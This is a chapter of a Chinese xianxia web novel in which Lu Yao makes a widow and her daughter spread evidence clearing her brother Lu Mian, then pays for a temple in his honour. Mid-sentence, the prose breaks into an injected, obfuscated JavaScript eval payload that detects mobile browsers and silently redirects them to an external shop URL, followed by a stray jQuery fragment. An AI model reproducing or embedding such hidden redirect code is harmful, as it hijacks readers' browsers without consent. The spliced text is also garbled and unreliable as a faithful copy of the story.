路遥侧身扣住她的手,将她甩在地上,理了理衣袖。

    那孩子跑上前来扶起妇人,余光瞟向路遥却又不敢吱声,妇人一把推开她:“不管怎么样,你杀了人,就是得给我们一个说法,不然。”她思虑片刻,“不然,我们就日日夜夜都在这山底下呐喊,让你不得安宁!”

    路遥:“所以,你是在威胁我?不过很不巧,我这个人最没有耐心,若是现下,你们老老实实走了,并且从此不再上山,我就放你们一命,否则,我就砍断你们的双手双脚,再将你们丢进荒野,让什么秃鹫、老鹰来啄食。你们好好考虑吧。”

    此言一出,那些平头百姓都不免瑟缩,谁都知道路遥手段狠厉,更是说一不二,再不走,怕是连小命都没了。

    有人出声道:“我走,我走。大家伙,走吧!原本我们就是听这些宗门人说来这里喊上两声,就能有钱拿,谁知喊了一上午,连口水都没得喝就算了,还要赔上小命。不值当!”

    此人是个将近五十岁的中年男子,在他们那些百姓中应是颇有威严,见他这么一发话,原本五十几人,走得只剩十几人。

    那些宗门弟子恨铁不成钢,却又拿他们无能为力,慢慢向后退去。

    路遥拦住他们去路,警告道:“告诉你们宗主,记得把脖子洗干净,等着我来取命。滚吧。”

    方才上山之人尽数离去,眼下只剩那个还趴在地上撒泼的妇人。

    那妇人见众人散去,像是不怕死一般,从地上爬起,叉着腰,摆出一副蛮横不讲理的模样:“他们都怕你,我可不怕,你今日要不给我个说法,我就一直赖着你!”

    那孩子躲在她身后,用手拽了拽妇人的衣角:“阿娘,走吧……”

    妇人猛然拽回衣服,指责道:“走什么走?你现在知道羞了?没有你爹,等我们连饭都吃不起的时候,上大街上去当乞丐,你就不羞了?”

    路遥了然:“说来说去,不就是要钱吗?”她向着空中甩出一把冥钱,“这些够了吗?买你丈夫的命。我杀了他,我承认,可是他已不在人世,铜板银钱在地府也不是硬通货,冥钱才是。待会你把这些冥钱拾起,焚烧给他,也好让他在地府好过些。”

    那妇人看着飘洒的冥钱,定定站在原地,路遥转身就走,却听“噗通”一声,那妇人竟给她下跪了。

    见孩子傻站在原地,妇人将她一同拽下跪在身旁。她看着路遥,再也跋扈不起来,语气也变得恳切:“路姑娘,求求你大发慈悲,我家那个人是死不足惜,可我们靠着他才能勉强过活,现下真是走投无路了,我才出此下策,想要讹你……”

    她并起三指指天:“我可以发誓,我们拿了钱就走,走得远远的,再也不扰您清静。”见路遥未发话,她抓起身旁孩子的手,掀开衣袖,露出可怖的伤痕。

    “你看不惯我,可以打我骂我,杀了我也行,只要留我孩子一条命,让她活下去就够了……她整日被那个人打,我是真的不想让她再跟我过苦日子了,求您……”

    她重重磕在地上,路遥上前扶起她们,道:“我可以放过你们,给你们一笔钱,让你们活下去,但在此之前,我要你们帮我做一件事。只要你们肯答应我,我就相信你说的话是真心的,若是让我发现你在骗我,我不介意让你们一家团聚。”

    那妇人立刻点头,路遥将叶景之前给她的罪证和一面鼓交到妇人手中:“我要你们做的事很简单,只要你脖子上挂着这鼓,边走边敲,再将这些纸塞到百姓手中,绕城一圈,让所有人都看到后,再来找我。”

    妇人点头,接过罪证,拉着孩子下山去了。

    路遥默默跟在她们身后,这母女两下了山后,便开始击鼓,有人被吸引而来时,那孩子就将罪证递到他们手中。

    此时正值正午,烈日几乎快把人晒化了,她们依旧没停歇,路遥对此很是满意。

    两人走着走着,那孩子突然开始高声喊道:“一代侠士,名声尽毁,所谓真相,究竟如何?”

    她们已经热得发丝贴着皮肤,期间不断用衣袖擦拭,面色潮红,步伐开始变得缓慢。

    路遥对那孩子倒是青眼相看,她瘦瘦小小,衣服已洗得发白、发皱,竟还识得字,甚至高声呐喊,丝毫不惧旁人眼光。

    想来之前她在山上,并不是为母亲要钱一事感到丢人,羞耻。而是担心路遥发怒,将母亲杀害,所以想要制止。

    路遥同样对这二人印象不算太好,但看到她们衣着朴素,双手布满老茧,一看就是常年劳作之人,心眼不坏。

    这才一再迁就,否则平日里谁要敢这样对她大呼小叫,早就不知投胎到哪个地方去了。

    路遥正想得出神,就见那孩子双腿一软,栽倒在地,妇人只停下查看片刻,确认无恙后,便将她背起,佝偻着背不让孩子滑下去,转头继续击鼓。

    好容易走完整个城镇,她也早就累得双眼发昏,路遥走到她身前,道:“你做得很好,没有骗我,我答应你的也一定会做到。”

    她抓起两人,回到了玄羽门,还让莫依给她们用了些止暑药。

    见女孩悠悠转醒,路遥递给她们一包塞满银钱的钱袋,妇人接过钱袋,掂了掂,喜悦之情溢于言表。

    路遥:“见你们如此诚恳的份上,我可以护你们周全,你们今日此举,明日怕是要传遍整个修真界了,若是不想惹一身腥,我就破例让你们在我玄羽门住下。”

    母女俩面面相觑,半晌,妇人道:“为什么?”

    路遥这番话属实震惊了其他人,叶景呢喃道:“玄羽门不是不养闲人吗?”

    路遥:“我做事情从不论为什么,我玄羽门不养闲人,所以你们待在此地也不是过悠闲日子的。我听说,他们经常没时间做饭,正缺一位厨子,看你像是会做饭的样子,不如就来顶替这个位置。”

    墨轻言三人:“……”

    路遥根本不关心他们吃不吃得饱,睡不睡得好的事,更别说记住他们缺不缺厨子这事了,路遥不说他们也不敢提,所以这么些天来都是“啃树皮”

    前两天路遥偶然撞见四人进食,莫依便邀请她品尝,本意就是暗示她找厨子,而路遥还真的准备品尝。

    她看着这些杂七杂八混在一起的食材,一点胃口也没有,但又不好驳了莫依的面子。

    便夹起一块土豆,入嘴的瞬间,她感觉自己“活”到头了,到现在都想不通,一块土豆,是怎么聚集了甜、辣、苦还有涩的……

    她问这是谁做的,三个人互相推卸,最终还是把慕然推出来,“自愿”承认的。从那时起,她就想要给他们找个厨子的,却又忘了。

    不过现下若是真的来了一个厨子,也算是皆大欢喜。

    听路遥这么说,妇人眼眶微红:“是……是!”

    母女俩离开后,她又领着墨轻言与叶景下山了,一走进城镇,便见街道上闹哄哄的,全都围在木榜前。

    路遥推了一把叶景,道:“去看看。”

    叶景“啊”了一声,对上路遥的眼神,只能挤进人群中,但刚挤进去又被推了出来。

    他只好拍了拍身边的妇人道:“请问这里贴的是什么啊?”

    那妇人瞥他一眼:“你和我都站在这人群最后方,你都不知晓,我又如何得知?去去去。”

    路遥走到叶景身旁:“不用看了,这是你当初给我的那些罪证,我一个人看够了,就分享给众人一起看看,不行吗?”

    叶景似有疑虑,路遥:“放心,我没有在上面标注是你给我的。”

    叶景干笑道:“属下不是这个意思。”

    路遥没回话,转身向着离她最近的一个小宗门走去。

    她此举也只是为了洗刷路眠的冤屈而已

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17895796|212843||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,但至于别人信不信,也不是她能掌控的。

    走出没几步,便听有一人道:“好歹毒的心,路仙师生平侠肝义胆,无愧于心,死后竟要被同窗如此污蔑,真是可悲可叹!就连叶宗主也惨遭毒手,那可是他的亲生父亲啊!”

    路遥停住脚步,另一人接道:“是啊,孙一真不是个人!不过那路遥还算做了一件人事,灭了这个祸患!否则还不知道他要把我们蒙蔽到什么时候。”

    人群中响起附和声,先前那人道:“不如我们大家一起合力出点钱,给路仙师立个碑吧!不,应当立个庙,让他受众人的香火跪拜!如何?”

    突兀的嗤笑声响起:“你们还真凭这些来历不明的罪证就相信了?还要给他立庙,不觉得扯吗?谁知道这罪证是不是伪造的,况且路眠是在事发后就死了的,若他心中没有鬼,又为何要以死谢罪?”

    有人反驳道:“你怎么知道他是以死谢罪?这上面写得清清楚楚,他就是被污蔑的。你是说两个平头百姓,顶着烈日和被打骂的风险也要为他洗刷冤屈,是闲的?”

    “就是啊,况且路眠以前的所作所为,大家有目共睹,他可曾做过一件对不起我们的事?我早就想说了,当初听到他是灭门真凶的时候,我就觉得不可信。倒是那个孙一,形迹可疑,再说他痛杀亲父这一事,无从抵赖吧?怎么路眠死了,他爹就紧跟着死了,还是走火入魔暴毙而亡,他倒登上了宗主之位。这招一箭双雕,可巧得很呢。”

    此言一出,全场寂静无声,半晌,有人转移话题:“别理他这种人,不过立碑还行,立庙……我们都不是什么富贵人家,立庙可比立碑难得多,怕是拿不出这么多的钱。”

    见众人都不理会他,那人也自讨没趣走了。

    路遥则异常认可这个决定,于是出声:“我可以出钱,所有的都可以由我来承包,你们若有心,只需出力。”

    众人微微一愣,一位老者出声道:“姑娘可知这建庙要花费多少真金白银?就算你是富贵人家,那也不是一笔小钱呀。”

    路遥:“我说做就做,只要你们能建,要多少钱我都给。”

    墨轻言也出声道:“若是大家有心,那就建起来吧,我们出钱,你们也就不用担心没钱建庙。”

    众人相视一眼,同意了这个决策。

    为此,路遥只能让墨轻言与叶景去制服那些宗门,自己则留下来协助和监工。

    叶景道:“宗主为何让我随墨轻言一起去制服这些小门派?”

    路遥:“你是宗门里出来的正规弟子,手段心计都略胜他们一筹,以后,就由你领着墨轻言来制服,听懂了吗?”

    叶景领命。

    制服这些小门派,几乎不需要她出手,偶然遇到几个实力比较强劲的,她才亲自动身。

    在此期间,路遥又收复了许多弟子,玄羽门已经不再冷清,每日都能听到墨轻言与叶景训练他们的声音。

    建庙一事也已接近尾声,路遥看着路眠的神像在自己面前建立,就像是路眠在看着她一般。

    这具神像还是她亲自指导,雕刻出来的,与活着的路眠相差无几,捏诀握剑,慈眉善目。

    如今只差最后一步,就是在碑文末尾刻满募捐百姓和出资人的姓名。

    老者道:“姑娘,我们的名字都差不多刻完了,只是还不知,姑娘的名字。”

    路遥略有些失落,心道:“兄长,我好想以你妹妹的名义,让我的名字出现在你的碑文下,可我臭名昭著,不能将你也沾染了。”

    路遥缓缓地道:“我……就写一个好人,一个好心人吧……”

    老者虽有疑惑,也只能照做,路遥站在原地看了许久,久不能回神,嘴角还噙着一抹笑。

    墨轻言轻声唤道:“姐姐,该走了。”

    路遥心情格外好,温声道:“好。”